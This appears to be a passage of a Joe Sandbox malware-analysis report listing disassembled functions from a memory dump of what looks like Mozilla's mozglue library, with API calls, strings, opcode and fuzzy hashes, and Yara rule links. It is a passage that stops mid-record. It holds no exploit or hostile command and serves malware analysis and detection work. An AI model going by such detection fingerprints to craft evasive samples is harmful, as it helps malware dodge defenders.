free.MOZGLUE(?), ref: 6C321911
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C32194C

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturnfreememcpymemset
String ID:
API String ID: 3725304770-0
Opcode ID: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction ID: 7e20589999dbbbcddfa698a8add33959cf0860eb3e9b72ef6959b50ef4e84fc3
Opcode Fuzzy Hash: 6712ed6dd48f6f04151ce9ce38fe378b7b82306d69638ec71bbd0534803f47a5
Instruction Fuzzy Hash: 71819A70A152059FCF08CF68D9C49AEBBB5FF89314B04462CE851AB754DB36E944CFA2

Function 6C335C50 Relevance: 6.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

GetTickCount64.KERNEL32 ref: 6C335D40
EnterCriticalSection.KERNEL32(6C39F688), ref: 6C335D67
__aulldiv.LIBCMT ref: 6C335DB4
LeaveCriticalSection.KERNEL32(6C39F688), ref: 6C335DED

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: CriticalSection$Count64EnterLeaveTick__aulldiv
String ID:
API String ID: 557828605-0
Opcode ID: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction ID: 7873bd98e8c6077fb134b0398d8510d679e8348a3171c532755cc48a01b39777
Opcode Fuzzy Hash: 5057e8fb93db062adc2f4951367110e4acec2bf4e237ea0e5295f376f8e64fa4
Instruction Fuzzy Hash: 63516F71E002698FDF08CF68C854AAEBBB6FB89304F19861DD855A7750D7326945CFD0

Function 6C31CDF0 Relevance: 6.1, APIs: 3, Strings: 1, Instructions: 128COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(?,-000000EA,?,?,?,?,?,?,?,?,?,?,?), ref: 6C31CEBD
memcpy.VCRUNTIME140(?,?,?,?,?,?,?), ref: 6C31CEF5
memset.VCRUNTIME140(-000000E5,00000030,?,?,?,?,?,?,?,?), ref: 6C31CF4E

Strings

0, xrefs: 6C31CF30

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpy$memset
String ID: 0
API String ID: 438689982-4108050209
Opcode ID: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction ID: c6432fb80a64a540895f671f7b32a93d90e2d456e43fe022207453481668dbfb
Opcode Fuzzy Hash: e7a03ba869fa60e24ec3a0a0d5bfa209c7695d18c3a6da13d87f7ef7b8f5a436
Instruction Fuzzy Hash: C3511271A042168FCB04CF18D890AAABBB5EF99304F198299D8595F751D331ED06CFE0

Function 6C3777D0 Relevance: 6.1, APIs: 4, Instructions: 113stringCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3777FA
?StringToDouble@StringToDoubleConverter@double_conversion@@QBENPBDHPAH@Z.MOZGLUE(00000001,00000000,?), ref: 6C377829

Part of subcall function 6C34CC38: GetCurrentProcess.KERNEL32(?,?,?,?,6C3131A7), ref: 6C34CC45
Part of subcall function 6C34CC38: TerminateProcess.KERNEL32(00000000,00000003,?,?,?,?,6C3131A7), ref: 6C34CC4E

?EcmaScriptConverter@DoubleToStringConverter@double_conversion@@SAABV12@XZ.MOZGLUE ref: 6C37789F
?ToShortestIeeeNumber@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@W4DtoaMode@12@@Z.MOZGLUE ref: 6C3778CF

Part of subcall function 6C314DE0: ?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C314E5A
Part of subcall function 6C314DE0: ?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C314E97

Part of subcall function 6C314290: strlen.API-MS-WIN-CRT-STRING-L1-1-0(6C353EBD,6C353EBD,00000000), ref: 6C3142A9

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$DtoaProcessstrlen$Ascii@Builder@2@Builder@2@@Converter@CreateCurrentDecimalDouble@EcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestTerminateV12@
String ID:
API String ID: 2525797420-0
Opcode ID: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction ID: f8b7ca7faacc336c60ff78cd3bd3f75022379fe5dd4927571f90474e339f4a3f
Opcode Fuzzy Hash: 02f0389ba18fe6dc861f46a2fb50f5451c805fb5563f094b2f75ab79a5d26ef4
Instruction Fuzzy Hash: 0441AE71904B469FD301DF29D48056AFBF4FF8A258F204A2DE4E987640EB31D55ACB92

Function 6C356470 Relevance: 6.1, APIs: 4, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000200,?,?,?,?,?,?,?,?,?,?,?,?,6C3582BC,?,?), ref: 6C35649B

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

memset.VCRUNTIME140(00000000,00000000,00000200,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C3564A9

Part of subcall function 6C34FA80: GetCurrentThreadId.KERNEL32 ref: 6C34FA8D
Part of subcall function 6C34FA80: AcquireSRWLockExclusive.KERNEL32(6C39F448), ref: 6C34FA99

ReleaseSRWLockExclusive.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 6C35653F
free.MOZGLUE(?), ref: 6C35655A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfreemallocmemsetmoz_xmalloc
String ID:
API String ID: 3596744550-0
Opcode ID: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction ID: 3347cb2386b9332946636a027a27d16b724816a5d9bf272ecc386c63f0d29cca
Opcode Fuzzy Hash: 3473f2ce832acd97c3a23b303b3f2961d293a8fc4a29f2d025625fe9c36ca39d
Instruction Fuzzy Hash: 103181B5A043059FD700CF25D880A9EB7F4BF88314F40482DE89A97744D734E918CF92

Function 6C34FF60 Relevance: 6.1, APIs: 4, Instructions: 83COMMON

Download Yara Rule

APIs

memcpy.VCRUNTIME140(00000000,?,80000001,80000000,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C34FFD3
memcpy.VCRUNTIME140(00000000,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C34FFF5
free.MOZGLUE(?,?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?), ref: 6C35001B
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,6C36D019,?,?,?,?,?,00000000,?,6C35DA31,00100000,?,?), ref: 6C35002A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: memcpy$_invalid_parameter_noinfo_noreturnfree
String ID:
API String ID: 826125452-0
Opcode ID: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction ID: 2d2e2a82b145e2e1100226a48e32fef61f91001045b81d9b04c007c69858acf3
Opcode Fuzzy Hash: 25f1003c61ab4ad20b8c194e1f1a42afa1d422012a530fe41cdb6c977b492463
Instruction Fuzzy Hash: 742106B2E002115BC7089E78DC848AFB7FAEB893243294338E525D7780EB71AD118AD1

Function 6C32B4E0 Relevance: 6.1, APIs: 4, Instructions: 54threadCOMMON

Download Yara Rule

APIs

GetCurrentThreadId.KERNEL32 ref: 6C32B4F5
AcquireSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B502
ReleaseSRWLockExclusive.KERNEL32(6C39F4B8), ref: 6C32B542
free.MOZGLUE(?), ref: 6C32B578

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireCurrentReleaseThreadfree
String ID:
API String ID: 2047719359-0
Opcode ID: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction ID: 416b16358e9ec317e3efe4bbbc565d6ace8ded64d00276efd704d8b867fb34e3
Opcode Fuzzy Hash: 56a60df2d370149e508d9f35f45e4e1dee68f024044f279d402fc28ecd96792f
Instruction Fuzzy Hash: C411D531904B45C7D7118F29D400765B3B9FFDA31DF20970AE88A5BA01FB7AB5D48B91

Function 6C353DE0 Relevance: 6.0, APIs: 4, Instructions: 49COMMON

Download Yara Rule

APIs

__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002,?,?,?,?,6C31F20E,?), ref: 6C353DF5
fputs.API-MS-WIN-CRT-STDIO-L1-1-0(6C31F20E,00000000,?), ref: 6C353DFC
__acrt_iob_func.API-MS-WIN-CRT-STDIO-L1-1-0(00000002), ref: 6C353E06
fputc.API-MS-WIN-CRT-STDIO-L1-1-0(0000000A,00000000), ref: 6C353E0E

Part of subcall function 6C34CC00: GetCurrentProcess.KERNEL32(?,?,6C3131A7), ref: 6C34CC0D
Part of subcall function 6C34CC00: TerminateProcess.KERNEL32(00000000,00000003,?,?,6C3131A7), ref: 6C34CC16

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Process__acrt_iob_func$CurrentTerminatefputcfputs
String ID:
API String ID: 2787204188-0
Opcode ID: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction ID: 56acc5fc64e739b3ab505f1c595a9b7377e1ad510ff3eb49c245b608258bae28
Opcode Fuzzy Hash: a8b2481c80b978358408234117997e06ea3bfbb0fb1f9fe774c99a96ce92c123
Instruction Fuzzy Hash: 8BF012716002087BDB01AF55EC41DAB376DDF46628F044020FD4957741E636BD298AF7

Function 6C3685B0 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 133COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000028,?,?,?), ref: 6C3685D3

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

?_Xlength_error@std@@YAXPBD@Z.MSVCP140(map/set<T> too long,?,?,?), ref: 6C368725

Strings

map/set<T> too long, xrefs: 6C368720

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Xlength_error@std@@mallocmoz_xmalloc
String ID: map/set<T> too long
API String ID: 3720097785-1285458680
Opcode ID: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction ID: ac26e8cfb588ab7ec1f2b39cf91b4ae89a08841ca1ca0fa3320506dedc4d3b5c
Opcode Fuzzy Hash: 3b5f6a7b626853ba9550774f3c2df6944260bccade1f3a9f90e349da8c90cd3f
Instruction Fuzzy Hash: 525164B4A00641CFD701CF1AC084A5AFBF1BF4A318F18C28AD9595BB56C376E885CF92

Function 6C31BD40 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 115COMMON

Download Yara Rule

APIs

?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(00000000,?,?,?,?), ref: 6C31BDEB
?HandleSpecialValues@DoubleToStringConverter@double_conversion@@ABE_NNPAVStringBuilder@2@@Z.MOZGLUE ref: 6C31BE8F

Strings

0, xrefs: 6C31BE5B

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: String$Builder@2@@Converter@double_conversion@@Double$CreateDecimalHandleRepresentation@SpecialValues@
String ID: 0
API String ID: 2811501404-4108050209
Opcode ID: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction ID: 046a935cdc82627cc364b7f7d7ce2d27ba26688d921edb3074af09526c046fca
Opcode Fuzzy Hash: c6767d382bd5df4f29cdfcb321b3140dc2a262e032d96b3cff6aa579514a5cc5
Instruction Fuzzy Hash: E441AFB1909745CFC705CF38D481A9BB7E8AF8A38CF008A1DF9859BB11D731D9598B92

Function 6C353CF0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 55COMMON

Download Yara Rule

APIs

_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C353D19
mozalloc_abort.MOZGLUE(?), ref: 6C353D6C

Strings

d, xrefs: 6C353D58

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: _errnomozalloc_abort
String ID: d
API String ID: 3471241338-2564639436
Opcode ID: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction ID: e7e1e1f0974a36c04f9fe183f3c096032677110d5ae2df241f8e3273ab2b39ed
Opcode Fuzzy Hash: 0bfc33d497ddf839bc276223d600596a501eab8645cec184e9e7dc33010be32a
Instruction Fuzzy Hash: AC11E335E04789DBDB01DF69C8148EDB7B9EF86318B848219EC859B602FB31A594CB90

Function 6C324730 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 49libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000,?,?,?,?,6C3244B2,6C39E21C,6C39F7F8), ref: 6C32473E
GetProcAddress.KERNEL32(00000000,GetNtLoaderAPI), ref: 6C32474A

Strings

GetNtLoaderAPI, xrefs: 6C324744

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: AddressHandleModuleProc
String ID: GetNtLoaderAPI
API String ID: 1646373207-1628273567
Opcode ID: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction ID: d510eefb44009bc8b908fe1274d0e412822d9e3890524ff9abc58d7042dd05b2
Opcode Fuzzy Hash: bac2bef789e3f785ea82a2bc206c4ad0ea9690ce9f19e20dfc8454090449e675
Instruction Fuzzy Hash: D50192757043148FDF00AFAA984865D7BBDFB8B315B040069EA16CB300EB76D8018F91

Function 6C376DE0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 30COMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_DISABLE_WALKTHESTACK), ref: 6C376E22
__Init_thread_footer.LIBCMT ref: 6C376E3F

Strings

MOZ_DISABLE_WALKTHESTACK, xrefs: 6C376E1D

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Init_thread_footergetenv
String ID: MOZ_DISABLE_WALKTHESTACK
API String ID: 1472356752-1153589363
Opcode ID: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction ID: 5476a63fd7ad83f68d610e145e58616a2ae6ded3dd4f6852f56ece89fb23272a
Opcode Fuzzy Hash: 3365ddfa4f0eab6e45239067f8d05d173b2b9f35aa27894517ae83234604ee05
Instruction Fuzzy Hash: 05F05932604340CBDF108F68CA60A917779530B21CF240165E84046F91F76BA906CEB7

Function 6C329E70 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 27COMMON

Download Yara Rule

APIs

__Init_thread_footer.LIBCMT ref: 6C329EEF

Strings

NaN, xrefs: 6C329EC1
Infinity, xrefs: 6C329EB7

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Init_thread_footer
String ID: Infinity$NaN
API String ID: 1385522511-4285296124
Opcode ID: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction ID: bacb6450ec655881779171b53fd029f3c8bc13957a02a25a564b5d5d0eddaf72
Opcode Fuzzy Hash: b93b105af6bbd93e61e29de8379703f2db3be52126e314ac4020d6d0f69cdafa
Instruction Fuzzy Hash: EDF03C71701241CAEF009F18D84579133B9A74F31DF204A19EA440AAA5F7BB65568FD2

Function 6C326C30 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 26COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C42

Part of subcall function 6C32CA10: malloc.MOZGLUE(?), ref: 6C32CA26

moz_xmalloc.MOZGLUE(0K5l,?,6C354B30,80000000,?,6C354AB7,?,6C3143CF,?,6C3142D2), ref: 6C326C58

Strings

0K5l, xrefs: 6C326C33, 6C326C41, 6C326C57

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: moz_xmalloc$malloc
String ID: 0K5l
API String ID: 1967447596-1268099673
Opcode ID: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction ID: 0bac08c4e6f8b43a752c1cb5d85a1171e94fb066f1daa0285fa8ed001f5ffb2d
Opcode Fuzzy Hash: 26e400adbc4dd1962c0462c652a8f496a88607757228c19233f06711ec6135b5
Instruction Fuzzy Hash: 32E086F1A105054BAF08B979AC0A56B71DC8F146A87044A35E823D6BC8FA5DE55089A2

Function 6C323850 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMON

Download Yara Rule

APIs

AcquireSRWLockExclusive.KERNEL32(6C39F860), ref: 6C32385C
ReleaseSRWLockExclusive.KERNEL32(6C39F860,?), ref: 6C323871

Strings

,9l, xrefs: 6C32387A

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: ExclusiveLock$AcquireRelease
String ID: ,9l
API String ID: 17069307-2839521190
Opcode ID: 0aa1f87dac74f4200c1c3043b2fad093a5d61f7ab73a9f3a4267b469f5c57e3f
Instruction ID: c29b7dd9e2147a4375ed4331d59f1592d365f9794703487f61372e9558abeec0
Opcode Fuzzy Hash: 0aa1f87dac74f4200c1c3043b2fad093a5d61f7ab73a9f3a4267b469f5c57e3f
Instruction Fuzzy Hash: 67E0DF35909B2C978B51AF96940158A3B7CEE0B6943044005F5491FA00E736D5408ED6

Function 6C32BED0 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 15librarythreadCOMMON

Download Yara Rule

APIs

DisableThreadLibraryCalls.KERNEL32(?), ref: 6C32BEE3
LoadLibraryExW.KERNEL32(cryptbase.dll,00000000,00000800), ref: 6C32BEF5

Strings

cryptbase.dll, xrefs: 6C32BEF0

Memory Dump Source

Source File: 00000000.00000002.2210363153.000000006C311000.00000020.00000001.01000000.00000008.sdmp, Offset: 6C310000, based on PE: true

Associated: 00000000.00000002.2210328864.000000006C310000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210447818.000000006C38D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2210805501.000000006C39E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2211421898.000000006C3A2000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6c310000_ukuWaeRgPR.jbxd

Similarity

API ID: Library$CallsDisableLoadThread
String ID: cryptbase.dll
API String ID: 4137859361-1262567842
Opcode ID: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction ID: bd918b5fcd6f38f5d36b0849aef99e3ed3782299c536e41e96b8e713dca62ee9
Opcode Fuzzy Hash: bc577c95d21659487b159ce7db92a671a63a37d6f5e3ed9dc8fbe7d404ea78ac
Instruction Fuzzy Hash: 9CD0A932680208EBCB10AEA0AD0AB293BBCA70232DF10C020F7568C851E7B6A410CF90

Function 6C36B5C0 Relevance: 5.1, APIs: 4, Instructions: 145COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B628

Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C3690FF
Part of subcall function 6C3690E0: free.MOZGLUE(?,00000000,?,?,6C36DEDB), ref: 6C369108

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000008,6C36B2C9,?,?,?,6C36B127,?,?,?,?,?,?,?,?,?,6C36AE52), ref: 6C36B67D
